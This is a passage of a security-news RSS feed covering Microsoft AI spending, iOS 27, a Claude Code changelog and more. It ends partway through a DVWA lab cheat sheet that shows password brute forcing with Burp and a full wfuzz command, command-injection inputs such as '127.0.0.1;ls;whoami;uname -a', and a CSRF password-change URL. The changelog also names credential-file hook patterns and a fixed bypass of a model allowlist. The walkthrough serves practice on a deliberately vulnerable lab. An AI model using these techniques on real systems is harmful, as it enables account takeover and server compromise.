writes. He grounds this in an older platform philosophy: "This is the ethos I've grown up with where platforms enable more value on top than is captured inside, and where every company can continuously innovate and build value of its own." It is a direct echo of the Windows-era argument, updated for the age of inference — and it carries a similarly self-interested subtext, given that Microsoft's cloud business sits squarely in that platform layer.</p><h2>Microsoft's own runaway AI costs reveal the gap between Nadella's vision and operational reality</h2><p>What makes Nadella's essay so striking is its timing. He published it on a day when Reuters reported that <a href="https://www.reuters.com/business/microsoft-sued-by-shareholders-over-expenses-cloud-business-ai-2026-06-15/">Microsoft shareholders filed a proposed class-action lawsuit</a> in Seattle federal court, accusing the company of inflating its stock price by failing to disclose slowing growth in its Azure cloud business and the need to spend billions of dollars on AI infrastructure. The suit names Nadella and Chief Financial Officer Amy Hood among the defendants.</p><p>As the <a href="https://finance.yahoo.com/markets/stocks/articles/msft-stock-rises-despite-shareholder-180947071.html">Yahoo Finance report</a> on the lawsuit noted, Microsoft allegedly "aggressively promoted its AI developments, specifically its 'Copilot' assistant and close financial alliance with ChatGPT creator OpenAI, to artificially boost investor optimism," while understating infrastructure strain and capital risks. Microsoft also reported <a href="https://www.reuters.com/business/retail-consumer/microsoft-edges-past-cloud-growth-expectations-2026-01-28/">$37.5 billion of capital spending</a> in its second quarter, up nearly 66% from a year earlier and above the $34.3 billion that analysts projected.</p><p>Microsoft's internal cost pressures around AI have surfaced in other concrete ways this year. The company is <a href="https://www.theverge.com/tech/930447/microsoft-claude-code-discontinued-notepad">canceling the majority of its internal Claude Code licenses</a> in its Experiences and Devices division, effective June 30, 2026. Monthly usage rates reached 84 to 95% by April 2026, and per-engineer API costs ranged between $500 and $2,000 monthly, according to <a href="https://windowsforum.com/threads/microsoft-cancels-internal-claude-code-licenses-pushes-copilot-cli-by-2026.418482/">Windows Forum</a>. The cancellation came after Microsoft exhausted portions of its annual AI budget due to token-based billing, as <a href="https://fortune.com/2026/05/22/microsoft-ai-cost-problem-tokens-agents/">Fortune</a> had reported in May.</p><p>The Claude Code episode illustrates, at the micro level, the exact dynamic Nadella describes at the macro level. When a company's AI usage is metered by the token — the fundamental unit of compute that powers model inference — the more productive the tool becomes, the more expensive it gets. The term "token capital" in Nadella's essay carries a double meaning: it refers both to a firm's proprietary AI capability and, implicitly, to the actual tokens consumed in running it. Building a learning loop that compounds is aspirational. Paying the bills for that loop is operational reality.</p><h2>Uber, Meta, and Amazon are all hitting the same AI spending wall — and it validates Nadella's warning</h2><p>Microsoft is not alone in this bind. <a href="https://finance.yahoo.com/sectors/technology/articles/uber-burned-entire-2026-ai-180347400.html">Uber burned through its entire 2026 AI coding tools budget</a> in just four months after incentivizing employees to adopt the technology through an internal leaderboard ranking teams by total AI tool usage. Uber has since instituted a monthly $1,500 cap per employee per agentic coding tool, according to <a href="https://techcrunch.com/2026/06/02/uber-caps-employee-ai-spending-after-blowing-through-budget-in-four-months/">TechCrunch</a>. At Meta, an employee created a leaderboard called "<a href="https://finance.yahoo.com/sectors/technology/articles/meta-just-killed-dashboard-let-084400197.html">Claudeonomics</a>" to track which workers consumed the most AI tokens. Amazon, meanwhile, has pushed employees to "<a href="https://fortune.com/2026/05/12/amazon-tokenmaxxing-claude-ai-capex-meta-gil-luria/">tokenmaxx</a>" — use as many AI tokens as possible.</p><p>The emerging pattern is clear: enterprises adopted AI coding tools aggressively, saw genuine productivity gains, and then discovered that the consumption-based economics of frontier models created budget crises that traditional software licensing never would have. Bryan Catanzaro, vice president of applied deep learning at Nvidia, captured the tension bluntly in an <a href="https://fortune.com/article/why-is-the-cost-of-ai-higher-than-human-workers-nvidia-executive/">interview with Axios</a>: "For my team, the cost of compute is far beyond the costs of the employees," he said.</p><p>These cost dynamics land differently in the context of Nadella's essay. He prescribes a three-layer architecture — evaluation, reinforcement learning, and retrieval — designed to sit between a company's workforce and whatever frontier model it subscribes to. Companies, he argues, need to build "private evals" that "capture whether a model is actually improving against outcomes that matter to the business (not just external benchmarks!)," alongside "private reinforcement learning environments" that "let models grow stronger on real traces from inside the organization" and a knowledge base that "makes institutional memory queryable and use of tokens more efficient." He calls the resulting system "a hill climbing machine" that, "unlike most assets, it compounds."</p><h2>Other Big Tech CEOs are echoing Nadella's fears about AI models devouring enterprise knowledge</h2><p>Nadella's concerns do not exist in isolation. Other technology leaders have been raising similar warnings throughout 2026, though none have offered as prescriptive a response.</p><p>Snowflake CEO Sridhar Ramaswamy warned in a <a href="https://podcasts.apple.com/us/podcast/whos-winning-the-ai-race-softwares-future-with/id1522960417?i=1000749256704">February podcast</a> that the biggest software companies risk being reduced to mere data sources. "The big model makers want to create a world in which all of the data for all of the enterprises is easily available to them," Ramaswamy said, describing everything else as "a dumb data pipe that feeds into that big brain." He added that Snowflake needs to operate with a "fear" that enterprises would abandon software-specific AI agents in favor of all-inclusive agents that hoover up data from everywhere.</p><p>Box CEO Aaron Levie struck a similar note in a <a href="https://www.linkedin.com/feed/update/urn:li:activity:7414386514186498048/">January LinkedIn post</a>. AI models can now perform high-level knowledge work across nearly every profession, from law to strategy to scientific research, he argued. "The question that we will have to wrestle with is, in a world where everyone has access to the same expert intelligence, how does a company differentiate?" he wrote.</p><p>The combined effect of these statements is a shared diagnosis from three very different corners of the enterprise technology market: the current trajectory of AI development threatens to collapse competitive differentiation across entire industries. Nadella's essay stands apart from the others because it moves beyond diagnosis and proposes a specific architectural remedy. But the prescription is impossible to separate from the prescriber's interests.</p><p>Microsoft sits in precisely the platform layer that Nadella's framework would make indispensable — the company builds its own frontier models, operates the cloud infrastructure those models run on, and maintains deep partnerships with the leading independent AI labs. A world in which every enterprise builds a proprietary learning loop on top of commodity foundation models is, conveniently, a world in which Microsoft sells the picks and shovels to all of them.</p><h2>Nadella's Scout controversy and shareholder lawsuit reveal the tension inside Microsoft's own AI strategy</h2><p>The essay also arrives just ten days after Nadella publicly rebuked one of his own executives for outlining a plan to "<a href="https://nypost.com/2026/06/05/business/microsofts-satya-nadella-slams-company-exec-for-outlining-plan-to-make-people-addicted-to-scout-ai-tool/">make people addicted</a>" to a new AI tool called Scout.. Microsoft corporate vice president Omar Shahine had written an internal memo describing a three-phase plan to transform Scout "from addictive app to agentic platform," with the first phase focused on features that "make people depend on it daily." Nadella responded on an internal message board: "This is absolutely a non-goal! If anything we are doing the exact opposite. We want to make sure AI empowers and adds real value to human endeavor and broad economic growth!"</p><p>The Scout incident and Sunday's essay together suggest Nadella is actively constructing a public philosophy of AI that emphasizes broad value creation over extractive engagement — whether or not every corner of Microsoft has internalized that message. One anonymous Microsoft employee told 404 Media, as the Post reported, that the leaked Scout document was "very troubling," adding: "It feels like one of those 'saying the quiet part out loud' moments."</p><p>For technical decision-makers evaluating Nadella's essay, the practical implications are significant. He is arguing that choosing an AI model matters less than building the learning infrastructure around it. He is arguing that the ability to swap models without losing institutional intelligence is the critical test of AI sovereignty. And he is warning that companies that fail to build these systems will find their expertise absorbed and commoditized by the models themselves. "You can offload a task, or even a job, but you can never offload your learning," Nadella writes. "The future of the firm is the ability to compound that learning across people and AI."</p><h2>The question Nadella's essay cannot answer is whether Microsoft will practice what its CEO preaches</h2><p>Whether Nadella's vision materializes depends on a question his essay carefully sidesteps: whether the platform providers who build and host the frontier ecosystem will resist the temptation to capture the value flowing through it. Nadella insists that "platforms enable more value on top than is captured inside." But Microsoft's own trajectory this year — the ballooning capital expenditures, the Claude Code budget crisis, the shareholder lawsuit alleging concealed costs, the internal memo about making users addicted — suggests the economics of restraint are harder than the philosophy of restraint.</p><p>Nadella ends his essay with the claim that broad value distribution "is the stable equilibrium we should build together." He may be right. Ecosystems have historically outperformed walled gardens over long time horizons. But stable equilibria require every major player to forgo short-term extraction in favor of long-term compounding — and right now, the AI industry is burning through budgets in four months and spending 66% more on infrastructure than analysts expected. The CEO of the world's most valuable technology company has written an eloquent argument for why the AI economy needs to work differently. The open question is whether his own company's balance sheet will let him prove it.</p><p>
</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple Changes The Payment Checkout Screen In The New iOS 27 Update]]></title>
<description><![CDATA[Apple recently revealed iOS 27, and it brings a very helpful change to the way we handle mobile payments on websites and inside apps. The company entirely redesigned the checkout screen for its digital wallet. This update solves an old issue that often caused people to tap the wrong area when try...]]></description>
<link>https://tsecurity.de/de/3599785/ios-mac-os/apple-changes-the-payment-checkout-screen-in-the-new-ios-27-update/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3599785/ios-mac-os/apple-changes-the-payment-checkout-screen-in-the-new-ios-27-update/</guid>
<pubDate>Mon, 15 Jun 2026 19:01:18 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple recently revealed iOS 27, and it brings a very helpful change to the way we handle mobile payments on websites and inside apps. The company entirely redesigned the checkout screen for its digital wallet. This update solves an old issue that often caused people to tap the wrong area when trying to pay. The new setup built by Apple is clearer and much easier to navigate on a small screen.



Swiping directly on a card now opens a full grid



In older software versions, the checkout flow was not very intuitive. If you wanted to switch to a different credit card, your instinct was probably to tap the card shown on the screen. Doing that took you to an address editing menu instead. You had to find a specific button at the bottom of the screen just to change your payment method.



The new design changes this behavior completely. Now, you can just swipe sideways on the main screen to flip through your available cards. If you tap the card directly, it opens a grid layout showing all your options in one single view.



This update also brings more details right to the front. When you use Apple Pay, the system will display helpful card information directly on the payment sheet. You will see things like reward points, current balances, and pay later options before you confirm a purchase. Developers can still choose what specific details show up based on what their app needs to process the order.



These layout adjustments remove unnecessary steps from the checkout process, similar to the convenience of the digital transit features available for commuters. By keeping all relevant balances and card choices visible on one screen, the update helps users complete transactions faster. The overall payment system simply works more as you expect it to.]]></content:encoded>
</item>
<item>
<title><![CDATA[NotebookLM Cheat Sheet: How Google’s AI Document Assistant Works]]></title>
<description><![CDATA[Learn what NotebookLM does, how its source-based AI works, what it costs, and where it fits for research, business, study, and document review.]]></description>
<link>https://tsecurity.de/de/3599651/it-nachrichten/notebooklm-cheat-sheet-how-googles-ai-document-assistant-works/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3599651/it-nachrichten/notebooklm-cheat-sheet-how-googles-ai-document-assistant-works/</guid>
<pubDate>Mon, 15 Jun 2026 18:03:43 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Learn what NotebookLM does, how its source-based AI works, what it costs, and where it fits for research, business, study, and document review.]]></content:encoded>
</item>
<item>
<title><![CDATA[How to build high-performance pipelines in Firestore Enterprise]]></title>
<description><![CDATA[Author: Firebase - Bewertung: 1x - Views:4 Understand query performance using Query Explain → https://goo.gle/4dZSxxj 

In the final part of our Firestore Enterprise series, we’re putting everything together to build a deep intuition for query performance. We’ve learned that the Enterprise editio...]]></description>
<link>https://tsecurity.de/de/3599289/it-security-video/how-to-build-high-performance-pipelines-in-firestore-enterprise/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3599289/it-security-video/how-to-build-high-performance-pipelines-in-firestore-enterprise/</guid>
<pubDate>Mon, 15 Jun 2026 15:33:59 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Firebase - Bewertung: 1x - Views:4 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/n7OCi7O1pP4?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>Understand query performance using Query Explain → https://goo.gle/4dZSxxj <br />
<br />
In the final part of our Firestore Enterprise series, we’re putting everything together to build a deep intuition for query performance. We’ve learned that the Enterprise edition is powerful, but with great power comes the responsibility of optimizing for your application's particular query needs. Morgan Chen, a Developer Relations Engineer, breaks down exactly when Firestore is fast or slow and explains why using underlying database constraints. If you want to avoid high latency and unexpected billing, understanding the balance between index scans and collection scans is essential.<br />
<br />
More resources:<br />
Episode 1 in the series → https://goo.gle/4uoi5sE <br />
Episode 2 n the series → https://goo.gle/4v1ngjC <br />
<br />
Chapters:<br />
0:00 - Recap: Standard vs. Enterprise performance<br />
1:16 - Example 1: Core Operations in a pipeline <br />
1:51 - Example 2:  Filtering on two separate field<br />
2:37 - Example 3: Sorting on a field value after applying a transformation to it<br />
3:04 - Example 4: Both an indexed and unindexed recipes collection will have linear time performance<br />
3:22 - Index speedups for aggregates (count, sum, avg) <br />
3:35 - Example 5: No index speedup for regex comparison<br />
4:01 - Tools: Google Cloud Console: Firebase Query Explainer <br />
4:26 - The math: Complexity & time guarantees <br />
5:47 - Revisiting a query from the previous video in the series <br />
6:33 - Potential new features<br />
<br />
#Firebase<br />
<br />
Watch more Firebase Fundamentals → https://goo.gle/Firebase-Fundamentals    <br />
Subscribe to Firebase → https://goo.gle/Firebase<br />
<br />
Speaker: Raphael Couto (xWF)<br />
Products Mentioned: Firebase<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Epic Games is hiring a Security Engineer to champion Linux anti-cheat]]></title>
<description><![CDATA[Looks like Epic Games may be looking to actually improve how Easy Anti-Cheat works on Linux, with a job listing for a Senior Game Security Engineer.Read the full article on GamingOnLinux.]]></description>
<link>https://tsecurity.de/de/3597640/linux-tipps/epic-games-is-hiring-a-security-engineer-to-champion-linux-anti-cheat/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3597640/linux-tipps/epic-games-is-hiring-a-security-engineer-to-champion-linux-anti-cheat/</guid>
<pubDate>Sun, 14 Jun 2026 23:24:19 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Looks like Epic Games may be looking to actually improve how Easy Anti-Cheat works on Linux, with a job listing for a Senior Game Security Engineer.<p><img src="https://www.gamingonlinux.com/uploads/articles/tagline_images/1665607983id29211gol.jpg" alt></p><p>Read the full article on <a href="https://www.gamingonlinux.com/2026/06/epic-games-is-hiring-a-security-engineer-to-champion-linux-anti-cheat/">GamingOnLinux</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Epic Games is hiring a Senior Game Security Engineer for their Anti-Cheat team to champion Linux anti-cheat capabilities while working on OS internals, reverse engineering, and protecting multiplayer games.]]></title>
<description><![CDATA[submitted by    /u/lajka30   [link]   [comments]]]></description>
<link>https://tsecurity.de/de/3597453/linux-tipps/epic-games-is-hiring-a-senior-game-security-engineer-for-their-anti-cheat-team-to-champion-linux-anti-cheat-capabilities-while-working-on-os-internals-reverse-engineering-and-protecting-multiplayer-games/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3597453/linux-tipps/epic-games-is-hiring-a-senior-game-security-engineer-for-their-anti-cheat-team-to-champion-linux-anti-cheat-capabilities-while-working-on-os-internals-reverse-engineering-and-protecting-multiplayer-games/</guid>
<pubDate>Sun, 14 Jun 2026 20:12:53 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[  submitted by   <a href="https://www.reddit.com/user/lajka30"> /u/lajka30 </a> <br> <span><a href="https://i.redd.it/9ze44mu43a7h1.png">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1u5qscm/epic_games_is_hiring_a_senior_game_security/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[im trying to make a script executor for roblox to see how hacks work so i can improve my anti cheat for my game]]></title>
<description><![CDATA[i also dont know how to code at all and never will so if possible can somone show me a safe executor it will be greatly appreciated thanks!    submitted by    /u/MastermindG   [link]   [comments]]]></description>
<link>https://tsecurity.de/de/3596658/malware-trojaner-viren/im-trying-to-make-a-script-executor-for-roblox-to-see-how-hacks-work-so-i-can-improve-my-anti-cheat-for-my-game/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3596658/malware-trojaner-viren/im-trying-to-make-a-script-executor-for-roblox-to-see-how-hacks-work-so-i-can-improve-my-anti-cheat-for-my-game/</guid>
<pubDate>Sun, 14 Jun 2026 09:03:01 +0200</pubDate>
<category>⚠️ Malware / Trojaner / Viren</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>i also dont know how to code at all and never will so if possible can somone show me a safe executor it will be greatly appreciated thanks!</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/MastermindG"> /u/MastermindG </a> <br> <span><a href="https://www.reddit.com/r/ExploitDev/comments/1u5bpnp/im_trying_to_make_a_script_executor_for_roblox_to/">[link]</a></span>   <span><a href="https://www.reddit.com/r/ExploitDev/comments/1u5bpnp/im_trying_to_make_a_script_executor_for_roblox_to/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[CyberTitan Champions: Inside Canada’s National High School Cybersecurity Competition (and CyberPatriot)]]></title>
<description><![CDATA[Cybersecurity Today on the Weekend interviews the winning Canadian CyberTitan team (“S-ores”/a regex-based name) along with coach Phil, educator Tim, and CyberTitan manager Sheena to explain how CyberTitan (run by ICTC) connects to the international CyberPatriot program. They describe the…
Read m...]]></description>
<link>https://tsecurity.de/de/3594970/it-security-nachrichten/cybertitan-champions-inside-canadas-national-high-school-cybersecurity-competition-and-cyberpatriot/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3594970/it-security-nachrichten/cybertitan-champions-inside-canadas-national-high-school-cybersecurity-competition-and-cyberpatriot/</guid>
<pubDate>Sat, 13 Jun 2026 06:44:11 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Cybersecurity Today on the Weekend interviews the winning Canadian CyberTitan team (“S-ores”/a regex-based name) along with coach Phil, educator Tim, and CyberTitan manager Sheena to explain how CyberTitan (run by ICTC) connects to the international CyberPatriot program. They describe the…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/cybertitan-champions-inside-canadas-national-high-school-cybersecurity-competition-and-cyberpatriot/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/cybertitan-champions-inside-canadas-national-high-school-cybersecurity-competition-and-cyberpatriot/">CyberTitan Champions: Inside Canada’s National High School Cybersecurity Competition (and CyberPatriot)</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[v2.1.176]]></title>
<description><![CDATA[What's changed

Session titles are now generated in the language of your conversation (set the language setting to pin a specific language)
Added footerLinksRegexes setting for regex-matched link badges in the footer row, configurable via user or managed settings
Improved Bedrock credential cachi...]]></description>
<link>https://tsecurity.de/de/3594642/downloads/v21176/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3594642/downloads/v21176/</guid>
<pubDate>Sat, 13 Jun 2026 00:21:02 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's changed</h2>
<ul>
<li>Session titles are now generated in the language of your conversation (set the <code>language</code> setting to pin a specific language)</li>
<li>Added <code>footerLinksRegexes</code> setting for regex-matched link badges in the footer row, configurable via user or managed settings</li>
<li>Improved Bedrock credential caching: credentials from <code>awsCredentialExport</code> are now cached until their <code>Expiration</code> instead of a fixed 1 hour</li>
<li>Fixed <code>availableModels</code> enforcement: alias model picks can no longer be redirected to a blocked model via <code>ANTHROPIC_DEFAULT_*_MODEL</code> environment variables, and <code>/fast</code> now refuses to toggle when it would switch to a model outside the allowlist</li>
<li>Fixed auto mode failing on Fable 5 for organizations without Opus 4.8 enabled — the classifier now falls back to the best available Opus model</li>
<li>Fixed hook <code>if</code> conditions for Read/Edit/Write tool paths: documented patterns like <code>Edit(src/**)</code>, <code>Read(~/.ssh/**)</code>, and <code>Read(.env)</code> now match correctly</li>
<li>Fixed Linux sandbox failing to start when <code>.claude/settings.json</code> is a symlink with an absolute target</li>
<li>Fixed <code>/copy</code> and mouse-selection copy not reaching the system clipboard inside tmux over SSH, and tmux paste buffer not loading on versions older than 3.2</li>
<li>Fixed Remote Control connecting from web/mobile silently switching the session's model</li>
<li>Fixed Remote Control disconnect notifications showing a bare numeric code instead of a human-readable reason, and connection failures adding a duplicate line to the conversation transcript</li>
<li>Fixed Remote Control sessions not disconnecting when you sign in to a different account</li>
<li>Fixed <code>/cd</code> and worktree moves leaving the session reporting the previous directory's git branch</li>
<li>Fixed <code>claude agents</code>: pressing back in one window no longer detaches other windows attached to the same session</li>
<li>Fixed backgrounded sessions showing "Working" forever when <code>/bg</code> mid-turn had nothing left to continue</li>
<li>Fixed background agent search by PR URL: PRs opened during scheduled wakeups or while a job was blocked now appear in <code>claude agents</code> search</li>
<li>Fixed the agents view input showing no text cursor on Windows</li>
<li>Fixed <code>claude --bg -cn &lt;name&gt;</code> not seeding the session name</li>
<li>Fixed background sessions to neutralize Windows network paths in persisted state before respawn</li>
<li>Fixed background-session respawn rejecting malformed resume IDs from corrupted state files</li>
<li>Fixed the Windows background-service daemon not starting when <code>~/.claude/daemon</code> has the ReadOnly attribute set</li>
<li>Fixed cloud sessions failing with "Could not resolve authentication method" when idle for too long before being claimed</li>
<li>Background sessions now show clearer guidance when a window left open across an auto-update can't submit a reply, and <code>claude daemon status</code> explains version-skew behavior</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[When PyMuPDF Can’t See the Table: Parse PDFs for RAG with Azure Layout]]></title>
<description><![CDATA[Enterprise Document Intelligence [Vol.1 #5bis] - The same relational tables. Native table cells. OCR for scanned pages and images. Captions and headings without regex.
The post When PyMuPDF Can’t See the Table: Parse PDFs for RAG with Azure Layout appeared first on Towards Data Science.]]></description>
<link>https://tsecurity.de/de/3594324/ai-nachrichten/when-pymupdf-cant-see-the-table-parse-pdfs-for-rag-with-azure-layout/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3594324/ai-nachrichten/when-pymupdf-cant-see-the-table-parse-pdfs-for-rag-with-azure-layout/</guid>
<pubDate>Fri, 12 Jun 2026 20:34:43 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Enterprise Document Intelligence [Vol.1 #5bis] - The same relational tables. Native table cells. OCR for scanned pages and images. Captions and headings without regex.</p>
<p>The post <a href="https://towardsdatascience.com/when-pymupdf-cant-see-the-table-parse-pdfs-for-rag-with-azure-layout/">When PyMuPDF Can’t See the Table: Parse PDFs for RAG with Azure Layout</a> appeared first on <a href="https://towardsdatascience.com/">Towards Data Science</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Cheat Engine now has a Linux version released]]></title>
<description><![CDATA[A popular tool on Windows - Cheat Engine recently gained a Linux version, so you can mess with your games under Linux now too.Read the full article on GamingOnLinux.]]></description>
<link>https://tsecurity.de/de/3593297/linux-tipps/cheat-engine-now-has-a-linux-version-released/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3593297/linux-tipps/cheat-engine-now-has-a-linux-version-released/</guid>
<pubDate>Fri, 12 Jun 2026 13:30:20 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A popular tool on Windows - Cheat Engine recently gained a Linux version, so you can mess with your games under Linux now too.<p><img src="https://www.gamingonlinux.com/uploads/articles/tagline_images/151262025id29201gol.jpg" alt></p><p>Read the full article on <a href="https://www.gamingonlinux.com/2026/06/cheat-engine-now-has-a-linux-version-released/">GamingOnLinux</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[DVWA Cheat Sheet (Low & Medium)]]></title>
<description><![CDATA[Damn Vulnerable Web ApplicationBrute Force: Low & MediumJust testing with this username & password to get the error message (we will need it)As you can see, we got this error message, So let's hop on Burp Suite and intercept the GET RequestThis is the GET RequestSend it to the Intruder, hit Clear...]]></description>
<link>https://tsecurity.de/de/3592751/hacking/dvwa-cheat-sheet-low-medium/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3592751/hacking/dvwa-cheat-sheet-low-medium/</guid>
<pubDate>Fri, 12 Jun 2026 09:33:35 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/622/1*C2SNdLMcY7BoTOzQCMnZ6w.jpeg"><figcaption><strong>Damn Vulnerable Web Application</strong></figcaption></figure><h3><strong>Brute Force: Low &amp; Medium</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*poNp6XeWbjQyl0UXbJMufg.png"><figcaption><strong>Just testing with this username &amp; password to get the error message (we will need it)</strong></figcaption></figure><p>As you can see, we got this error message, So let's hop on Burp Suite and intercept the GET Request</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/694/1*hKAH5PekCUduF9W6_sks_w.png"><figcaption><strong>This is the GET Request</strong></figcaption></figure><p>Send it to the Intruder, hit Clear to clear any saved parameter, select the password that you sent for mine it was ‘admin’ so select it and hit Add</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2ZVz52v9IBDv-kQEqpvR8A.png"><figcaption><strong>The word after (password=) must be colored like this</strong></figcaption></figure><p>Now let's go to the payloads section in the intruder and load our txt payload file (i used the top 100 words from rockyou.txt wordlist for simplicity)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/447/1*v0p0v8OPzvqExbOiooHEvg.png"></figure><p>Now we set the payload, How can we find if tha password is right ot not ?<br>So,let's go to settings in the intruder section to make our customization</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/423/1*FfqDeDVrnf6rAcdHPwfuMg.png"><figcaption><strong>add incorrect word to these words</strong></figcaption></figure><p>Intruder use these words to define if the attack fails, so it have some famous error messages<br>In the First Image that i posted, there was word ‘incorrect’ in it<br>So, after we added ‘incorrect’ , if we got the right password of course we will not find the ‘incorrect’ word. NOW Let's start the attack</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fZWIfo4oNavwo4Yk3ScRuA.png"><figcaption><strong>The Password is ‘password’</strong></figcaption></figure><p>The password section is the only one that didn't find the ‘incorrect’ word</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZGzwQRPXmO0oVeswp-MnWw.png"><figcaption><strong>Low Level</strong></figcaption></figure><p><strong>Brute Force: Medium<br></strong>In medium level we can make the same steps as i did in low level but i’ll go through another tool just for a change, we'll use <a href="https://www.kali.org/tools/wfuzz/">wfuzz </a>tool on kali linux</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/713/1*C1EJ18UOBAZ5lLW-rSpeOQ.png"></figure><p>This is the Intercept, as you can see the password must be ‘FUZZ’ , but why?</p><p>to tell <a href="https://www.kali.org/tools/wfuzz/">wfuzz</a> tool that the password is the one that we want to brute force it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ilhLPxmR1agS3XvQia-caw.png"></figure><p>this is the code that i used for the attack</p><pre><br>wfuzz -c -z file,/home/prankster/top_100_Rock_You.txt -b 'security=medium; PHPSESSID=17ef46f3cec5a583f4bf12da8c0a4daf' 'http://192.168.1.4/dvwa/vulnerabilities/brute/?username=admin&amp;password=FUZZ&amp;Login=Login'</pre><p>Now let’s find the correct password</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/555/1*9yZCsvWhml80CYGHonp-DQ.png"><figcaption><strong>Line ‘4’ is different, am i right !</strong></figcaption></figure><p>All of these the response is 200 (OK) , have 86 lines, but the words number for Line 4 is different ! , also the characters are different ! that means that other passwords were wrong because they tell us the same incorrect sentence each time execpt ‘password’ which is the password for user admin</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Vwo-rRY1cOM1OxFDESDDCA.png"><figcaption><strong>Medium Level</strong></figcaption></figure><p><strong>Command Execution: Low</strong></p><p>You can find that there is page for pinging that takes ip address as input BUT, do you think it can take the ip address only ?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6BGTUzCxIpA1mfnGIDtPLA.png"><figcaption>Let's add our commands now</figcaption></figure><p>What if you typed the ip address and then ls command ? , let’s find out</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*S3IfS-tv-yWyjngfdMu4oA.png"><figcaption><strong>127.0.0.1;ls</strong></figcaption></figure><p>simicolon ; is the separator between commands , you can use whatever you want (&amp;&amp;) or (&amp;) or (|)</p><p>After pinging, he read the ls command also, so now we can do whatever command we want</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cPIHG89FSCi1KXWFTMks6w.png"><figcaption><strong>127.0.0.1;ls;whoami;uname -a</strong></figcaption></figure><p>after pinging, we can find there's 3 files (help, index.php, source), and the current username (www-data) , and some system information using (uname -a) command.</p><p><strong>Command Execution: Medium</strong></p><p>The concept of command execution is the same, you just type the desired command and then put the malicious command that you want,<br>the only change is the separator between the commands like <br> ( ; ) or (&amp;) or (&amp;&amp;) or ( | ) So, Let's see which of these is working</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*giw-Bb2osjlr4A7BDmyCew.png"><figcaption>127.0.0.1 &amp; ls</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gYKqedfzaWr9GvSw4dNjpw.png"><figcaption>127.0.0.1 | uname -a</figcaption></figure><p>So, pipe (|) , and (&amp;) separators are the working separators in medium level</p><p><strong>Cross-Site Request Forgery (CSRF): Low</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0O2KWlOLsedUt15oN-Rmfg.png"></figure><p>this page for changing password for user admin, so if we tried to change the password to ‘test123’ it will change in the url as it's shown down</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SnR9RwDbRQ44XKrgv-bTcA.png"><figcaption><strong>URL</strong>: http://192.168.1.4/dvwa/vulnerabilities/csrf/?password_new=test123&amp;password_conf=test123&amp;Change=Change#</figcaption></figure><p>As you can see the password new and 